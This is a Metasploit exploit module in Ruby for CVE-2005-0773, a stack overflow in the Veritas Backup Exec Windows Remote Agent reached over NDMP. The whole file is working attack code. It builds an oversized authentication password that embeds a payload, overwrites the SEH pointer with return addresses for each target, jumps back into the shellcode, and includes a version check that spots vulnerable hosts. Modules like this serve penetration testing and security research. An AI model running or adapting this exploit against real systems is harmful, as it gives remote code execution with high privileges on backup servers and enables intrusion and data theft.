##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::NDMP

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Veritas Backup Exec Windows Remote Agent Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in the Veritas
				BackupExec Windows Agent software. This vulnerability occurs
				when a client authentication request is received with type
				'3' and a long password argument. Reliable execution is
				obtained by abusing the stack overflow to smash a SEH
				pointer.			
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2005-0773'],
					[ 'OSVDB', '17624'],
					[ 'BID', '14022'],
					[ 'URL', 'http://www.idefense.com/application/poi/display?id=272&type=vulnerabilities'],
					[ 'URL', 'http://seer.support.veritas.com/docs/276604.htm'],
					[ 'MIL', '9'],

				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Targets'        => 
				[
					[ 
						'Veritas BE 9.0/9.1/10.0 (All Windows)',
						{
							'Platform' => 'win',
							'Rets'     => [ 0x0140f8d5, 0x014261b0 ],
						},
					],
					[ 
						'Veritas BE 9.0/9.1/10.0 (Windows 2000)',
						{
							'Platform' => 'win',
							'Rets'     => [ 0x75022ac4, 0x75022ac4 ],
						},
					],					
				],

			'DefaultTarget' => 0))
			
			register_options(
				[
					Opt::RPORT(10000)
				], self.class)			
	end

	def check
		info = ndmp_info()
		if (info and info['Version'])
			print_status(" Vendor: #{info['Vendor']}")
			print_status("Product: #{info['Product']}")
			print_status("Version: #{info['Version']}")
			
			if (info['Vendor'] =~ /VERITAS/i and info['Version'] =~ /^(4\.2|5\.1)$/)
				return Exploit::CheckCode::Detected
			end
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect
		
		print_status("Trying target #{target.name}...")
		
		resp = ndmp_recv()
		
		username = 'X' * 512
		password = rand_text_alphanumeric(8192)
		
		# Place our payload early in the request and jump backwards into it
		password[ 3536 - payload.encoded.length, payload.encoded.length] = payload.encoded
		
		# This offset is required for version 10.0
		password[3536, 2] = "\xeb\x06"
		password[3540, 4] = [ target['Rets'][1] ].pack('V')
		password[3544, 5] = "\xe9" + [-1037].pack('V')

		# This offset is required for version 9.0/9.1
		password[4524, 2] = "\xeb\x06"
		password[4528, 4] = [ target['Rets'][0] ].pack('V')
		password[4532, 5] = "\xe9" + [-2025].pack('V')		

		# Create the authentication request
		auth = [
				1,               # Sequence number
				Time.now.to_i,   # Current time
				0,               # Message type (request)
				0x901,           # Message name (connect_client_auth)
				0,               # Reply sequence number
				0,               # Error status
				3                # Authentication type
			].pack('NNNNNNN') +
			[ username.length ].pack('N') + username +
			[ password.length ].pack('N') + password +
			[ 4 ].pack('N')

		print_status("Sending authentication request...")
		ndmp_send(auth)
		
		handler
		disconnect
	end

end